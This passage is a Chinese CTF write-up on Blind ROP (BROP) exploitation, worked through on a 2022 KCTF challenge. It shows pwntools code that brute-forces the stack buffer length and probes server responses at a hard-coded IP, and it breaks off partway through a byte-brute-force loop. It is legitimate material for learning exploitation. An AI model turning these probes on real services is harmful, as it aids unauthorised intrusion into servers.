定义
来自CTF wiki:
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
基本思路
暴力枚举获取栈溢出长度,逐字符比较泄露返回地址,获取gadget,leak出ELF进行进一步分析,写rop来getshell
实战
接下来我们以2022 KCTF 的第六题废土末世为例子,一起来分析一下BROP类题目的解题流程
泄露缓冲区长度
如果是BROP类题目,那么一定会有溢出点,所以首先通过爆破获取缓冲区长度:
def get_overflow_length():
global io
len=1
while True:
try:
io=remote("221.228.109.254",10045)
sa("hacker, TNT!\n",'a'*len)
print("now trying length is "+str(len))
res=io.recv()
io.close()
if "TNT TNT!" not in res:
return len-1
else:
len+=1
except EOFError:
io.close()
return len-1
print("overflow length is "+str(get_overflow_length()))
然后来看看结果
可以看到缓冲区长度应该是16
泄露程序结构
接下来就是要去泄露程序内容,这里我们将程序返回结果分为三种:
- 正常运行
- 等待输入或陷入死循环
- 程序崩溃,接收到EOF
def probe(payload):
global io
try:
io=remote('221.228.109.254',10031)
sa("hacker, TNT!\n",payload)
res=io.recv(timeout=3)
if "TNT" in res:
return "success"
else:
return "stuck"
except:
return "crash"
对于本道题来说,知道缓冲区为16,所以要爆破的是第十七字节,从0到255,于是写下如下代码:
ans=open("ans.txt",'wb')
for i in range(256):
ans.write(